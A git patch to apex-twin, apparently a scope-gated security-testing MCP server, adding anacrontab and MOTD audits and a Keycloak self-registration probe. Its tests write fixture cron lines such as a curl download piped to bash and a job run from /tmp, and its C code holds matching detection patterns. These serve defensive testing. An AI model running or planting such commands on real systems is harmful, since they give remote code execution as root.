From defe13f3dfe9eeecf7a3fdfc7be0d536cda4b8ba Mon Sep 17 00:00:00 2001 From: lotherk Date: Sun, 22 Nov 2026 22:25:52 +0000 Subject: [PATCH] apex-twin 1.73.0: anacrontab and MOTD audits, Keycloak probe Three additions in this tranche: - anacrontab_audit (blue): /etc/anacrontab and /etc/cron.d with a root prefix. Flags a job command that runs out of /tmp, /var/tmp or /dev/shm, a curl/wget piped into a shell, and a world-writable file. NAME=value lines are environment settings and are not counted as jobs. - motd_audit (blue): /etc/update-motd.d. Flags a world-writable script, one without a shebang and one that fetches a URL at login time. - keycloak_probe (red): /realms/master, its OpenID configuration and the admin console. The realm JSON is public by design, so only registrationAllowed:true counts as a finding; the body is evidence. Test evidence: make test 1328/1328 checks, make test-asan 1328/1328, analyze 0 warnings, 240 fuzz cases without a sanitizer report, coverage 84.8%, release-check exit 0 including distcheck from the tarball. Red proof: disabling the fetch detection in motd_audit turned "motd_audit flags a writable fetch script and a missing shebang" red, then the change was rolled back. 329 tools, version consistent in 5 places. --- CHANGELOG.md | 14 +++ README.md | 13 ++- SECURITY.md | 2 +- docs/apex-twin.1 | 7 +- src/apex.h | 2 +- src/tools_blue.c | 275 ++++++++++++++++++++++++++++++++++++++++++++ src/tools_red.c | 101 ++++++++++++++++ tests/gate_audit.py | 2 +- tests/run.py | 131 ++++++++++++++++++++- 9 files changed, 535 insertions(+), 12 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index cd0163d..3fc9611 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -8,6 +8,20 @@ fields, and state from an older version is read by a newer one. There are no git tags. The hash next to a version is the commit that introduced it; the current entry is the commit that adds this section. +## 1.73.0 - 2026-11-23 - this change + +- **anacrontab** (`anacrontab_audit`): `/etc/anacrontab` and `/etc/cron.d` + (root prefix). A job command that runs out of `/tmp`, `/var/tmp` or + `/dev/shm`, a `curl`/`wget` piped into a shell, and a world-writable file. + `NAME=value` lines set the environment and are not counted as jobs. +- **MOTD** (`motd_audit`): `/etc/update-motd.d` (root prefix). A script that + is world-writable, one without a shebang, and one that fetches a URL at + login time. Read-only. +- **Keycloak** (`keycloak_probe`): `/realms/master`, its OpenID configuration + and the admin console on 8080. The realm JSON is public by design, so only + `registrationAllowed:true` counts as a finding; the realm body is saved as + evidence. + ## 1.72.0 — 2026-11-23 — this change - **pam_env** (`pam_env_audit`): `LD_PRELOAD` or `LD_LIBRARY_PATH` set in diff --git a/README.md b/README.md index 1e1d5db..c31a62d 100644 --- a/README.md +++ b/README.md @@ -5,11 +5,11 @@ no Python in the serving path. It gives an agent real reconnaissance and real we testing behind a scope gate that refuses everything until a rules-of-engagement file says otherwise. -**326 tools · 1322 end-to-end checks · 240 fuzz cases · 84.8% line coverage · ~1041 KiB** +**329 tools · 1328 end-to-end checks · 240 fuzz cases · 84.8% line coverage · ~1041 KiB** ``` $ ./apex-twin --check -{"version":"1.72.0","tools":326,...,"scope":{"loaded":true,...}} +{"version":"1.73.0","tools":329,...,"scope":{"loaded":true,...}} ``` APEX TWIN was inspired by [ARTEX](https://github.com/Autumn-27/artex) (scope @@ -231,6 +231,7 @@ uploads and secret-file reads. It does not execute anything. | `argocd_probe` | `/api/v1/applications` without a token; deployed apps as evidence | | `kafka_connect_probe` | `/connectors` on 8083 without auth; connector list as evidence | | `sonarqube_probe` | `/api/projects/search` on 9000 without auth; project list as evidence | +| `keycloak_probe` | `/realms/master` on 8080: open self-registration; realm JSON as evidence | | `cookie_audit` | Secure/HttpOnly/SameSite per cookie, incl. `SameSite=None` without Secure | | `http_options` | `Allow`/`Public`; flags TRACE, PUT, DELETE | | `sqli_probe` | Quote and boolean payloads; differing answers are a **lead**, not proof | @@ -514,6 +515,8 @@ command in the allowlist: a receiver is a scanner, a transmitter is an attack. | `pam_env_audit` | environment/pam_env.conf: global LD_PRELOAD, writable PATH | | `hosts_audit` | hosts: private pin, conflicting addresses, writable file | | `dnf_repo_audit` | dnf/yum repos: gpgcheck off, sslverify off, plain http | +| `anacrontab_audit` | anacrontab and cron.d: root job out of /tmp, download piped to a shell | +| `motd_audit` | update-motd.d: writable script, missing shebang, URL fetch at login | | `podman_audit` | registries.conf: insecure or http registry, unsigned policy | | `buildkitd_audit` | buildkitd.toml: insecure registry, tcp without CA, no rootless | | `supervisor_audit` | supervisord.conf: exposed web UI, no username, root programs | @@ -991,6 +994,7 @@ src/tools_red.c vuln_check, subdomain_enum, cred_test, vhost_discovery, logstash_api_probe, amqp_probe, tls_chain_probe, smtp_auth_probe, jenkins_api_probe, nexus_probe, gitea_api_probe, harbor_probe, portainer_probe, sonarqube_probe, + keycloak_probe, argocd_probe, kafka_connect_probe src/tools_blue.c hardening_audit, log_audit, ioc_scan, web_log_audit, detect_rules, integrity_baseline, mitre_map, @@ -1001,7 +1005,8 @@ src/tools_blue.c hardening_audit, log_audit, ioc_scan, web_log_audit, newest: podman_audit, buildkitd_audit, supervisor_audit, fstab_audit, modprobe_audit, grub_audit, limits_audit, access_conf_audit, pwquality_audit, - pam_env_audit, hosts_audit, dnf_repo_audit) + pam_env_audit, hosts_audit, dnf_repo_audit, + anacrontab_audit, motd_audit) src/tools_esp.c esp_info, esp_monitor, esp_read_flash, esp_flash, esp_partition_table, esp_nvs_parse, firmware_scan, esp_app_info, esp_image_verify @@ -1038,7 +1043,7 @@ examples/ scope.json ## Status -1.72.0. Built and run: 326 tools, 1322 checks, 240 fuzz cases and 84.8% line +1.73.0. Built and run: 329 tools, 1328 checks, 240 fuzz cases and 84.8% line coverage. The loop closes: a probe captures the exchange as a pair, a finding points at it, `finding_update` gives it a state, an asset records the host it came from, `cors_check`/`cookie_audit`/`http_options` turn a web answer into a diff --git a/SECURITY.md b/SECURITY.md index 5bbf34d..45ac328 100644 --- a/SECURITY.md +++ b/SECURITY.md @@ -9,7 +9,7 @@ problem. The supported line is the one printed by `apex-twin --version` for the tree you built; this document ships with that same tree. At the time of writing the line -is **1.72.x** (`src/apex.h`, `APEX_VERSION`). Security fixes land on the current +is **1.73.x** (`src/apex.h`, `APEX_VERSION`). Security fixes land on the current line. The 1.0 line promises that the on-disk JSON formats for findings, assets and traffic only gain fields, so state stays readable; older builds are still rebuilt rather than patched in place. diff --git a/docs/apex-twin.1 b/docs/apex-twin.1 index 78eb42e..7bcf212 100644 --- a/docs/apex-twin.1 +++ b/docs/apex-twin.1 @@ -1,5 +1,5 @@ .\" apex-twin.1 - manual page for APEX TWIN -.TH APEX-TWIN 1 "2026-11-23" "apex-twin 1.72.0" "User Commands" +.TH APEX-TWIN 1 "2026-11-23" "apex-twin 1.73.0" "User Commands" .SH NAME apex-twin \- scope\-gated offensive\-security MCP server .SH SYNOPSIS @@ -46,7 +46,7 @@ sip_probe, telnet_probe, http_methods, websocket_probe, ike_probe, snmp_walk, ldap_search, openapi_discovery, csrf_audit, rpc_probe, ntp_probe, dnssec_check, smtp_starttls_probe, tls_ocsp_probe, alpn_probe, webdav_probe, dns_wildcard_check, dns_caa_check, sni_vhost_check, tls_client_auth_probe, kubernetes_api_probe, dns_ns_consistency, dns_dangling_cname, http_redirect_audit, websocket_origin_check, dns_fcrdns_check, dns_soa_mname_check, http_redirect_audit, -websocket_origin_check, hsts_audit, tls_hostname_check, ftp_tls_probe, zookeeper_4lw_probe, etcd_api_probe, docker_registry_probe, consul_api_probe, couchdb_probe, prometheus_api_probe, rabbitmq_management_probe, grafana_api_probe, minio_admin_probe, nats_monitoring_probe, influxdb_probe, clickhouse_probe, kibana_api_probe, logstash_api_probe, amqp_probe, tls_chain_probe, smtp_auth_probe, jenkins_api_probe, nexus_probe, gitea_api_probe, harbor_probe, portainer_probe, argocd_probe, kafka_connect_probe, sonarqube_probe), +websocket_origin_check, hsts_audit, tls_hostname_check, ftp_tls_probe, zookeeper_4lw_probe, etcd_api_probe, docker_registry_probe, consul_api_probe, couchdb_probe, prometheus_api_probe, rabbitmq_management_probe, grafana_api_probe, minio_admin_probe, nats_monitoring_probe, influxdb_probe, clickhouse_probe, kibana_api_probe, logstash_api_probe, amqp_probe, tls_chain_probe, smtp_auth_probe, jenkins_api_probe, nexus_probe, gitea_api_probe, harbor_probe, portainer_probe, argocd_probe, kafka_connect_probe, sonarqube_probe, keycloak_probe), defensive audits (hardening_audit, log_audit, ioc_scan, web_log_audit, detect_rules, integrity_baseline, mitre_map, process_snapshot, persistence_audit, @@ -86,7 +86,8 @@ pip_conf_audit, podman_audit, buildkitd_audit, supervisor_audit, fstab_audit, modprobe_audit, grub_audit, limits_audit, access_conf_audit, pwquality_audit, -pam_env_audit, hosts_audit, dnf_repo_audit) +pam_env_audit, hosts_audit, dnf_repo_audit, +anacrontab_audit, motd_audit) and ESP32 board tools (esp_info, esp_monitor, esp_read_flash, esp_flash, esp_partition_table, esp_nvs_parse, firmware_scan, esp_app_info, esp_image_verify). diff --git a/src/apex.h b/src/apex.h index 5e1ded2..b76057e 100644 --- a/src/apex.h +++ b/src/apex.h @@ -15,7 +15,7 @@ #include "mcp.h" -#define APEX_VERSION "1.72.0" +#define APEX_VERSION "1.73.0" #define APEX_MAX_OUT (1u << 20) #define APEX_PATH_MAX 512 #define APEX_PATH_FULL 1024 diff --git a/src/tools_blue.c b/src/tools_blue.c index d29622f..d34af20 100644 --- a/src/tools_blue.c +++ b/src/tools_blue.c @@ -22579,6 +22579,266 @@ static void t_dnf_repo_audit(mcp_conn *c, const mcp_json *args, void *user) mcp_buf_free(&findings); } +/* ------------------------------------------------------------ anacrontab_audit */ + +/* /etc/anacrontab lines are "period delay job-identifier command"; the command + * runs as root. /etc/cron.d files carry a user field. Both are checked for a + * command that executes out of a world-writable directory and for a download + * piped into a shell. */ +/* A line of the form NAME=value sets the environment for the jobs below it; + * it is not a job. Only an unquoted name made of [A-Za-z0-9_] counts. */ +static int var_assignment(const char *s) +{ + const char *p = s; + + while ((*p >= 'A' && *p <= 'Z') || (*p >= 'a' && *p <= 'z') || + (*p >= '0' && *p <= '9') || *p == '_') + p++; + return p > s && *p == '='; +} + +static int runs_from_world_writable(const char *cmd) +{ + static const char *dirs[] = { "/tmp/", "/var/tmp/", "/dev/shm/", NULL }; + int i; + + for (i = 0; dirs[i] != NULL; i++) + if (strstr(cmd, dirs[i]) != NULL) + return 1; + return 0; +} + +static void anacron_scan_file(mcp_buf *findings, int *first, int *count, + const char *path, int *files, int *jobs) +{ + static char text[65536]; + struct stat st; + const char *p; + + if (read_text(path, text, sizeof(text)) <= 0) + return; + (*files)++; + if (stat(path, &st) == 0 && (st.st_mode & 0002) != 0) { + add_finding(findings, first, "world-writable", "high", + "%s is writable by anyone", path); + (*count)++; + } + p = text; + while (p != NULL && *p != '\0') { + const char *eol = strchr(p, '\n'); + size_t len = eol != NULL ? (size_t)(eol - p) : strlen(p); + char line[2048]; + + if (len >= sizeof(line)) + len = sizeof(line) - 1; + memcpy(line, p, len); + line[len] = '\0'; + trim_eol(line); + p = eol != NULL ? eol + 1 : NULL; + { + const char *s = line; + + while (*s == ' ' || *s == '\t') + s++; + if (*s == '\0' || *s == '#') + continue; + if (var_assignment(s)) + continue; + (*jobs)++; + if (runs_from_world_writable(s)) { + add_finding(findings, first, "writable-dir-exec", + "high", + "%s runs a job out of a " + "world-writable directory", path); + (*count)++; + } + if ((strstr(s, "curl") != NULL || + strstr(s, "wget") != NULL) && + (strstr(s, "| sh") != NULL || + strstr(s, "|sh") != NULL || + strstr(s, "| bash") != NULL || + strstr(s, "|bash") != NULL)) { + add_finding(findings, first, "remote-shell", "high", + "%s pipes a download into a shell", + path); + (*count)++; + } + } + } +} + +static void t_anacrontab_audit(mcp_conn *c, const mcp_json *args, void *user) +{ + const char *root = mcp_arg_string(args, "root"); + char path[1024]; + struct stat st; + DIR *d; + struct dirent *ent; + mcp_buf b; + mcp_buf findings; + int first = 1; + int count = 0; + int files = 0; + int jobs = 0; + + (void)user; + if (root == NULL) + root = ""; + if (strlen(root) > 400) { + mcp_reply_error(c, "root path too long"); + return; + } + mcp_buf_init(&findings); + snprintf(path, sizeof(path), "%.400s/etc/anacrontab", root); + if (stat(path, &st) == 0) + anacron_scan_file(&findings, &first, &count, path, &files, &jobs); + snprintf(path, sizeof(path), "%.400s/etc/cron.d", root); + d = opendir(path); + if (d != NULL) { + while ((ent = readdir(d)) != NULL) { + char file[1200]; + + if (ent->d_name[0] == '.') + continue; + snprintf(file, sizeof(file), "%.800s/%.200s", path, + ent->d_name); + anacron_scan_file(&findings, &first, &count, file, &files, + &jobs); + } + closedir(d); + } + if (files == 0) { + mcp_buf_free(&findings); + mcp_reply_error(c, "cannot read anacrontab or /etc/cron.d"); + return; + } + mcp_buf_init(&b); + mcp_buf_puts(&b, "{\"root\":"); + apex_json_str(&b, root); + mcp_buf_printf(&b, ",\"files\":%d,\"jobs\":%d,\"findings_count\":%d," + "\"findings\":[", files, jobs, count); + if (findings.p != NULL) + mcp_buf_add(&b, findings.p, findings.len); + mcp_buf_puts(&b, "]}"); + mcp_reply_json(c, b.p); + mcp_buf_free(&b); + mcp_buf_free(&findings); +} + +/* ---------------------------------------------------------------- motd_audit */ + +/* Files in /etc/update-motd.d run as root at every login. A world-writable + * script, a script that relies on the shell fallback (no shebang) and a + * script that fetches a URL at login time are all ways to get code from the + * network into a root login. */ +static void motd_scan_file(mcp_buf *findings, int *first, int *count, + const char *path, int *scripts) +{ + static char text[65536]; + struct stat st; + const char *p; + int shebang = 0; + int fetch = 0; + + if (read_text(path, text, sizeof(text)) <= 0) + return; + (*scripts)++; + if (stat(path, &st) == 0 && (st.st_mode & 0002) != 0) { + add_finding(findings, first, "world-writable", "high", + "%s is writable by anyone and runs as root at " + "login", path); + (*count)++; + } + if (text[0] == '#' && text[1] == '!') + shebang = 1; + for (p = text; p != NULL && *p != '\0';) { + const char *eol = strchr(p, '\n'); + size_t len = eol != NULL ? (size_t)(eol - p) : strlen(p); + char line[2048]; + + if (len >= sizeof(line)) + len = sizeof(line) - 1; + memcpy(line, p, len); + line[len] = '\0'; + p = eol != NULL ? eol + 1 : NULL; + if (strstr(line, "curl") != NULL || + strstr(line, "wget") != NULL) + if (strstr(line, "http://") != NULL || + strstr(line, "https://") != NULL) + fetch = 1; + } + if (!shebang) { + add_finding(findings, first, "no-shebang", "low", + "%s has no shebang, so the login shell picks the " + "interpreter", path); + (*count)++; + } + if (fetch) { + add_finding(findings, first, "remote-fetch", "medium", + "%s fetches a URL over the network at login time", + path); + (*count)++; + } +} + +static void t_motd_audit(mcp_conn *c, const mcp_json *args, void *user) +{ + const char *root = mcp_arg_string(args, "root"); + char path[1024]; + DIR *d; + struct dirent *ent; + mcp_buf b; + mcp_buf findings; + int first = 1; + int count = 0; + int scripts = 0; + int opened = 0; + + (void)user; + if (root == NULL) + root = ""; + if (strlen(root) > 400) { + mcp_reply_error(c, "root path too long"); + return; + } + mcp_buf_init(&findings); + snprintf(path, sizeof(path), "%.400s/etc/update-motd.d", root); + d = opendir(path); + if (d != NULL) { + opened = 1; + while ((ent = readdir(d)) != NULL) { + char file[1200]; + struct stat st; + + if (ent->d_name[0] == '.') + continue; + snprintf(file, sizeof(file), "%.800s/%.200s", path, + ent->d_name); + if (stat(file, &st) != 0 || !S_ISREG(st.st_mode)) + continue; + motd_scan_file(&findings, &first, &count, file, + &scripts); + } + closedir(d); + } + if (!opened) { + mcp_buf_free(&findings); + mcp_reply_error(c, "cannot read /etc/update-motd.d"); + return; + } + mcp_buf_init(&b); + mcp_buf_puts(&b, "{\"root\":"); + apex_json_str(&b, root); + mcp_buf_printf(&b, ",\"scripts\":%d,\"findings_count\":%d," + "\"findings\":[", scripts, count); + if (findings.p != NULL) + mcp_buf_add(&b, findings.p, findings.len); + mcp_buf_puts(&b, "]}"); + mcp_reply_json(c, b.p); + mcp_buf_free(&b); + mcp_buf_free(&findings); +} + const mcp_tool TOOLS_BLUE[] = { { "hardening_audit", "Read-only posture audit of the local host: sshd_config (root login, " @@ -23865,6 +24125,21 @@ const mcp_tool TOOLS_BLUE[] = { "{\"type\":\"object\",\"properties\":{" "\"root\":{\"type\":\"string\",\"description\":\"prefix, default empty\"}}}", t_dnf_repo_audit }, + { "anacrontab_audit", + "Parse /etc/anacrontab and /etc/cron.d (root prefix): a job command " + "that runs out of /tmp, /var/tmp or /dev/shm, a curl or wget piped " + "into a shell, and a world-writable file. Read-only.", + "{\"type\":\"object\",\"properties\":{" + "\"root\":{\"type\":\"string\",\"description\":\"prefix, default empty\"}}}", + t_anacrontab_audit }, + { "motd_audit", + "Parse /etc/update-motd.d (root prefix): a script that is " + "world-writable, one without a shebang that the login shell would " + "interpret, and one that fetches a URL with curl or wget at login " + "time. Read-only.", + "{\"type\":\"object\",\"properties\":{" + "\"root\":{\"type\":\"string\",\"description\":\"prefix, default empty\"}}}", + t_motd_audit }, }; const size_t TOOLS_BLUE_N = sizeof(TOOLS_BLUE) / sizeof(TOOLS_BLUE[0]); diff --git a/src/tools_red.c b/src/tools_red.c index c32f028..6dc9142 100644 --- a/src/tools_red.c +++ b/src/tools_red.c @@ -8377,6 +8377,96 @@ static void t_sonarqube_probe(mcp_conn *c, const mcp_json *args, void *user) mcp_buf_free(&b); } +/* ------------------------------------------------------------- keycloak_probe */ + +/* Keycloak on 8080/8443. /realms/master is public by design, so it is only + * reported as context; what matters is whether the realm allows open + * self-registration (registrationAllowed:true) and whether the admin console + * answers without being redirected to a login. */ +static void t_keycloak_probe(mcp_conn *c, const mcp_json *args, void *user) +{ + static const char *paths[] = { "/realms/master", + "/realms/master/.well-known/" + "openid-configuration", + "/admin/master/console/", NULL }; + const char *target = mcp_arg_string(args, "target"); + int port = mcp_arg_int(args, "port", 8080); + int tls = mcp_arg_bool(args, "tls", apex_looks_tls(port)); + mcp_buf b; + int first = 1; + int tested = 0; + int open_count = 0; + int self_register = 0; + char *evidence = NULL; + int i; + + (void)user; + if (target == NULL || *target == '\0') { + mcp_reply_error(c, "target is required"); + return; + } + if (port <= 0 || port > 65535) { + mcp_reply_error(c, "port out of range"); + return; + } + if (!gated(c, "keycloak_probe", target, port)) + return; + mcp_buf_init(&b); + mcp_buf_puts(&b, "{\"target\":"); + apex_json_str(&b, target); + mcp_buf_printf(&b, ",\"port\":%d,\"tls\":%s,\"endpoints\":[", port, + tls ? "true" : "false"); + for (i = 0; paths[i] != NULL; i++) { + char status[256]; + char *resp = NULL; + size_t len = 0; + int code; + int open; + + status[0] = '\0'; + if (apex_http_once(target, port, tls, "GET", paths[i], NULL, NULL, + 8000, &resp, &len, status, + sizeof(status)) != 0) + continue; + tested++; + code = apex_status_code(status); + open = code >= 200 && code < 300; + if (open) + open_count++; + if (open && strstr(paths[i], "/realms/master") != NULL && + strstr(paths[i], "well-known") == NULL && resp != NULL) { + if (strstr(resp, "\"registrationAllowed\":true") != NULL) + self_register = 1; + if (evidence == NULL) + evidence = apex_evidence_save("keycloak-realm", resp, + len); + } + if (!first) + mcp_buf_puts(&b, ","); + first = 0; + mcp_buf_puts(&b, "{\"path\":"); + apex_json_str(&b, paths[i]); + mcp_buf_printf(&b, ",\"status\":%d,\"bytes\":%lu,\"open\":%s}", + code, (unsigned long)len, open ? "true" : "false"); + free(resp); + } + mcp_buf_printf(&b, "],\"tested\":%d,\"open_count\":%d," + "\"self_registration\":%s,\"evidence\":", + tested, open_count, self_register ? "true" : "false"); + if (evidence != NULL) + apex_json_str(&b, evidence); + else + mcp_buf_puts(&b, "null"); + mcp_buf_puts(&b, "}"); + apex_audit("keycloak_probe", target, port, !self_register, + self_register + ? "the master realm allows open self-registration" + : "the master realm does not allow self-registration", "list"); + mcp_reply_json(c, b.p); + free(evidence); + mcp_buf_free(&b); +} + /* ------------------------------------------------------------- portainer_probe */ static void t_portainer_probe(mcp_conn *c, const mcp_json *args, void *user) @@ -9306,6 +9396,17 @@ const mcp_tool TOOLS_RED[] = { "\"tls\":{\"type\":\"boolean\"}}," "\"required\":[\"target\"]}", t_argocd_probe }, + { "keycloak_probe", + "Query Keycloak on 8080 without credentials: /realms/master, its " + "OpenID configuration and the admin console. The realm JSON is public " + "by design, so only registrationAllowed:true (open self-registration) " + "counts as a finding, and the realm body is saved as evidence. Gate: " + "the target and port must be in scope.", + "{\"type\":\"object\",\"properties\":{" + "\"target\":{\"type\":\"string\"},\"tls\":{\"type\":\"boolean\"}," + "\"port\":{\"type\":\"integer\",\"description\":\"default 8080\"}}," + "\"required\":[\"target\"]}", + t_keycloak_probe }, { "dns_ns_consistency", "Fetch NS records for a domain from the parent resolver and from its own " "first nameserver (resolved to an address), then report names present on " diff --git a/tests/gate_audit.py b/tests/gate_audit.py index c939fa7..3726729 100755 --- a/tests/gate_audit.py +++ b/tests/gate_audit.py @@ -21,7 +21,7 @@ import re import sys HERE = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) -EXPECTED_TOOLS = 326 +EXPECTED_TOOLS = 329 GATE = ("gated(", "gated_cmd(", "gated_run(", "apex_scope_check(") NET = ("http_once(", "tcp_connect_host(", "tcp_probe(", "apex_run(") # Tools whose "target" argument filters local records; they never touch it. diff --git a/tests/run.py b/tests/run.py index eb34cc5..3158ea5 100755 --- a/tests/run.py +++ b/tests/run.py @@ -134,7 +134,7 @@ res, _ = run([ ], home=empty) check("tools/list answers", any(r.get("id") == 1 for r in res)) tools = [r for r in res if r.get("id") == 1][0]["result"]["tools"] -check("326 tools registered", len(tools) == 326, len(tools)) +check("329 tools registered", len(tools) == 329, len(tools)) names = {t["name"] for t in tools} for need in ("portscan", "nmap", "http_request", "marauder_scan", "method_playbook", "finding_add", "finding_update", "scope_check", @@ -1560,7 +1560,7 @@ try: check("http initialize", init["result"]["serverInfo"]["name"] == "apex-twin", init) listing = post({"jsonrpc": "2.0", "id": 2, "method": "tools/list"}) - check("http tools/list", len(listing["result"]["tools"]) == 326) + check("http tools/list", len(listing["result"]["tools"]) == 329) shown = post(call(3, "scope_show")) check("http scope_show", '"loaded":true' in shown["result"]["content"][0]["text"]) # the id must be the request's id, not one found inside the arguments @@ -14964,6 +14964,133 @@ for d in (pe_root, pe_good_root, h_root, h_good_root, dnf_root, dnf_good_root, cfg44_home): shutil.rmtree(d, ignore_errors=True) +print("\n== anacron, motd and Keycloak ==") + +ac_root = tempfile.mkdtemp(prefix="apex-acr-") +os.makedirs(os.path.join(ac_root, "etc", "cron.d")) +ac_tab = os.path.join(ac_root, "etc", "anacrontab") +with open(ac_tab, "w") as f: + f.write("SHELL=/bin/sh\n") + f.write("PATH=/sbin:/bin:/usr/sbin:/usr/bin\n") + f.write("1\t5\tcron.daily\trun-parts /etc/cron.daily\n") + f.write("7\t10\teviljob\t/tmp/.hidden/payload --run\n") + f.write("1\t20\tfetchjob\tcurl -s http://example.test/x.sh | bash\n") +os.chmod(ac_tab, 0o666) +ac_cd = os.path.join(ac_root, "etc", "cron.d", "nightly") +with open(ac_cd, "w") as f: + f.write("# nightly cleanup\n") + f.write("30 3 * * * root /usr/local/bin/cleanup --fast\n") + +ac_good_root = tempfile.mkdtemp(prefix="apex-acrg-") +os.makedirs(os.path.join(ac_good_root, "etc", "cron.d")) +with open(os.path.join(ac_good_root, "etc", "anacrontab"), "w") as f: + f.write("SHELL=/bin/sh\n") + f.write("1\t5\tcron.weekly\trun-parts /etc/cron.weekly\n") +with open(os.path.join(ac_good_root, "etc", "cron.d", "audit"), "w") as f: + f.write("0 4 * * * root /usr/local/bin/report --quiet\n") + +mt_root = tempfile.mkdtemp(prefix="apex-mt-") +os.makedirs(os.path.join(mt_root, "etc", "update-motd.d")) +mt_bad = os.path.join(mt_root, "etc", "update-motd.d", "50-motd-news") +with open(mt_bad, "w") as f: + f.write("#!/bin/sh\n") + f.write("curl -fsSL https://news.example.test/motd | head -20\n") +os.chmod(mt_bad, 0o666) +mt_noshebang = os.path.join(mt_root, "etc", "update-motd.d", "90-loose") +with open(mt_noshebang, "w") as f: + f.write("echo hello\n") +os.chmod(mt_noshebang, 0o755) + +mt_good_root = tempfile.mkdtemp(prefix="apex-mtg-") +os.makedirs(os.path.join(mt_good_root, "etc", "update-motd.d")) +with open(os.path.join(mt_good_root, "etc", "update-motd.d", "00-header"), + "w") as f: + f.write("#!/bin/sh\n") + f.write("uname -sr\n") +os.chmod(os.path.join(mt_good_root, "etc", "update-motd.d", "00-header"), + 0o755) + + +class _KeycloakHandler(http.server.BaseHTTPRequestHandler): + def do_GET(self): + path = urllib.parse.urlsplit(self.path).path + body = b'{"realm":"master","publicKey":"x"}' + if path == "/realms/master": + if self.server.open_registration: + body = b'{"realm":"master","registrationAllowed":true}' + self.send_response(200) + elif path == "/realms/master/.well-known/openid-configuration": + body = b'{"issuer":"http://keycloak.test/realms/master"}' + self.send_response(200) + else: + body = b'{"error":"not found"}' + self.send_response(404) + self.send_header("Content-Type", "application/json") + self.send_header("Content-Length", str(len(body))) + self.end_headers() + self.wfile.write(body) + + def log_message(self, *args): + pass + + +kc_srv = http.server.HTTPServer(("127.0.0.1", 0), _KeycloakHandler) +kc_srv.open_registration = True +kc_port = kc_srv.server_address[1] +threading.Thread(target=kc_srv.serve_forever, daemon=True).start() + +kc_closed_srv = http.server.HTTPServer(("127.0.0.1", 0), _KeycloakHandler) +kc_closed_srv.open_registration = False +kc_closed_port = kc_closed_srv.server_address[1] +threading.Thread(target=kc_closed_srv.serve_forever, daemon=True).start() + +cfg45_home = tempfile.mkdtemp(prefix="apex-cfg45-home-") +write_scope(cfg45_home, + {"label": "cfg45", "expires": "2099-01-01T00:00:00Z", + "allow_ip": ["127.0.0.1/32"], "allow_private": True, + "allow_port": ["1-65535"]}) + +res, _ = run([ + call(1, "anacrontab_audit", root=ac_root), + call(2, "anacrontab_audit", root=ac_good_root), + call(3, "motd_audit", root=mt_root), + call(4, "motd_audit", root=mt_good_root), + call(5, "keycloak_probe", target="127.0.0.1", port=kc_port, tls=False), + call(6, "keycloak_probe", target="127.0.0.1", port=kc_closed_port, + tls=False), +], home=cfg45_home) +by_id = {r.get("id"): r for r in res} +ac = json.loads(text(by_id[1])) +ac_kinds = {f["id"] for f in ac["findings"]} +check("anacrontab_audit flags a /tmp job, a piped download and a writable file", + {"writable-dir-exec", "remote-shell", "world-writable"} <= ac_kinds + and ac["files"] == 2 and ac["jobs"] == 4, ac) +ac_good = json.loads(text(by_id[2])) +check("anacrontab_audit accepts a clean anacrontab and cron.d", + ac_good["findings_count"] == 0, ac_good) + +mt = json.loads(text(by_id[3])) +mt_kinds = {f["id"] for f in mt["findings"]} +check("motd_audit flags a writable fetch script and a missing shebang", + {"world-writable", "remote-fetch", "no-shebang"} <= mt_kinds + and mt["scripts"] == 2, mt) +mt_good = json.loads(text(by_id[4])) +check("motd_audit accepts a plain header script", + mt_good["findings_count"] == 0 and mt_good["scripts"] == 1, mt_good) + +kc = json.loads(text(by_id[5])) +check("keycloak_probe finds open self-registration and saves evidence", + kc["self_registration"] is True and kc["open_count"] == 2 + and os.path.isfile(kc["evidence"]), kc) +kc_closed = json.loads(text(by_id[6])) +check("keycloak_probe reports a closed realm", + kc_closed["self_registration"] is False, kc_closed) +kc_srv.shutdown() +kc_closed_srv.shutdown() + +for d in (ac_root, ac_good_root, mt_root, mt_good_root, cfg45_home): + shutil.rmtree(d, ignore_errors=True) + print("%d passed, %d failed" % (passes, len(fails))) if fails: print("failed: " + ", ".join(fails))